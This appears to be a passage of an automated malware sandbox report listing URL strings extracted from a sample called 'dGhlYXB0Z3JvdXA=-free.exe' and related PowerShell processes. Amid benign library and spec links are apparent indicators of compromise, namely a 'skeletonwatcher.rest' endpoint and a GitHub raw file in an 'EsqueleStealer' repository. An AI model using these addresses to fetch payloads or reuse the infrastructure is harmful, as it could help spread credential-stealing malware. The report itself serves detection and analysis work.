7f 91 2f 3f 91 f7 ba aa a9 13 b9 1c 03 5d 5f 2d ae f8 12 Data Ascii: 6cdXo?X]I.ZA"G+)R%A(}OWPJfD-OE4%jP/PqQ|#8AuPKvB6Rg'19TNha/$5&nV(n};9 &JjVVk"rx%/?]_-

Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.css
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.jpg
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bjoern.hoehrmann.de/utf-8/decoder/dfa/
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: http://man7.org/linux/man-pages/man2/shutdown.2.html
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: http://my.json.host/data.json
Source: powershell.exe, 00000008.00000002.1425298261.00000289D6C20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1425298261.00000289D6D62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F1006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1405004503.00000289C6BB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1552133148.0000019F00006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1622371533.0000029108402000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624508397.00000222F3B29000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623229046.00000222F3B22000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624189759.00000222F20D0000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623745065.00000222F20D0000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620572366.00000222F20CB000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625329823.00000222F20D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://skeletonwatcher.rest/api/get/free
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621865159.0000029108702000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://skeletonwatcher.rest/api/get/freeM
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624508397.00000222F3B29000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623229046.00000222F3B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://skeletonwatcher.rest/api/get/freeq
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: powershell.exe, 00000008.00000002.1405004503.00000289C6BB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1552133148.0000019F00006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://crbug.com/v8/8520
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://crbug.com/v8/8520turbo_fast_api_callsenable
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/manual
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/manual/linking_to_external_code/import_maps
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/manual/runtime/compiler_apis#denobundle).
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/examples/cat.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/examples/colors.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/examples/colors.tsGenerate
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/examples/welcome.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/fmt/colors.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/fs/utils.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/http/file_server.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/std/testing/asserts.ts
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/x/
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://deno.land/x/example/types.d.ts
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deno.land:80
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/)
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Compile
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instanc
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkErr
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Runtime
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instant
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/validat
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://dl.deno.land/canary-latest.txt
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://dl.deno.land/canary/
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://dl.deno.land/canary/P
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#concept-event-listener-invoke
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#concept-event-path-append
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#concept-shadow-including-inclusive-ancestor
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#event-path
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#get-the-parent
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dom.spec.whatwg.org/#retarget
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#body-mixin
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-construct-readablestream
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-filtered-response-basic
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-headers-append
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-headers-fill
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625923674.00000222F3B11000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624536811.00000222F3B10000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619554259.00000222F3AF2000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1622972927.00000222F3AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-headex
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#concept-network-error
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#cors-safelisted-response-header-name
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#dom-headers
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#forbidden-response-header-name
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fetch.spec.whatwg.org/#ref-for-dom-body-formdata
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/Microsoft/TypeScript/issues/2577)
Source: powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/WICG/import-maps#the-import-mapSet
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/beatgammit/base64-js
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/beatgammit/base64-js/issues/42
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/bitinn/node-fetch/blob/master/src/headers.js
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/2b56fb0c7a07108e5b54241e8faec160d393aedb/index.js
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/clap-rs/clap/issues
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/ctz/webpki-roots
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/denoland/deno/issues
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/denoland/deno/issues/4591)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/denoland/deno/releases
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://github.com/denoland/deno/tree/master/test_plugin
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/github/fetch/blob/master/fetch.js
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/golang/go/blob/master/LICENSE
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/inexorabletash/text-encoding
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1599401084.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1446863830.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621418825.0000029108502000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/v8/v8/blob/24886f2d1c565287d33d71e4109a53bf0b54b75c/LICENSE.v8
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/vadimg/js_bintrees.
Source: powershell.exe, 00000008.00000002.1405004503.00000289C77E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1552133148.0000019F00C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://golang.org/pkg/bytes/#Buffer).
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://golang.org/pkg/bytes/#Buffer.Grow).
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://golang.org/pkg/bytes/#Buffer.ReadFrom).
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://golang.org/pkg/io/#pkg-constants
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://myserver.com
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://no-color.org/
Source: powershell.exe, 00000008.00000002.1425298261.00000289D6C20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1425298261.00000289D6D62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F1006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108482000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1446347858.00000222F3BE8000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1445883149.00000222F3BE8000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108482000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1597554190.00000222F3B07000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1622972927.00000222F3AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt):
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt:false
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619910329.00000222F2151000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txtG
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619910329.00000222F2151000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txtT
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://some/file.ts
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://streams.spec.whatwg.org/
